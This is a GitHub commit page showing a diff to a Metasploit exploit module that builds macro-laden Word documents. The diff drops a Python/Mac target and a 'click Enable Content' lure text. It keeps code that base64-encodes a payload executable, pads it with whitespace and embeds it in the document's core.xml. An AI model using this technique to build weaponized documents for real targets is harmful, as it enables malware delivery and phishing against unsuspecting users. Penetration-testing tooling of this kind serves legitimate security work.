Skip to content

Commit 1f23b44

Browse files
committed
I modified windows/fileformat/office_word_macro the wrong way
1 parent 056313e commit 1f23b44

File tree

1 file changed

+6
-19
lines changed

1 file changed

+6
-19
lines changed

modules/exploits/windows/fileformat/office_word_macro.rb

Lines changed: 6 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -39,30 +39,18 @@ def initialize(info={})
3939
'EXITFUNC' => 'thread',
4040
'DisablePayloadHandler' => true
4141
},
42+
'Platform' => 'win',
4243
'Targets' =>
4344
[
44-
[
45-
'Microsoft Office Word on Windows',
46-
{
47-
'Platform' => 'win',
48-
}
49-
],
50-
[
51-
'Microsoft Office Word on Mac OS X (Python)',
52-
{
53-
'Platform' => 'python',
54-
'Arch' => ARCH_PYTHON
55-
}
56-
]
45+
['Microsoft Office Word', {}],
5746
],
5847
'Privileged' => false,
59-
'DisclosureDate' => "Jan 10 2012"
48+
'DisclosureDate' => "Jan 10 2012",
49+
'DefaultTarget' => 0
6050
))
6151

6252
register_options([
63-
OptString.new("BODY", [false, 'The message for the document body',
64-
'Contents of this document are protected. Please click Enable Content to continue.'
65-
]),
53+
OptString.new("BODY", [false, 'The message for the document body', '']),
6654
OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
6755
], self.class)
6856
end
@@ -75,9 +63,8 @@ def on_file_read(short_fname, full_fname)
7563
when /document\.xml/
7664
buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
7765
when /core\.xml/
78-
p = target.name =~ /Python/ ? payload.encoded : generate_payload_exe
7966
b64_payload = ' ' * 55
80-
b64_payload << Rex::Text.encode_base64(p)
67+
b64_payload << Rex::Text.encode_base64(generate_payload_exe)
8168
buf.gsub!(/PAYLOADGOESHERE/, b64_payload)
8269
end
8370

0 commit comments

Comments
 (0)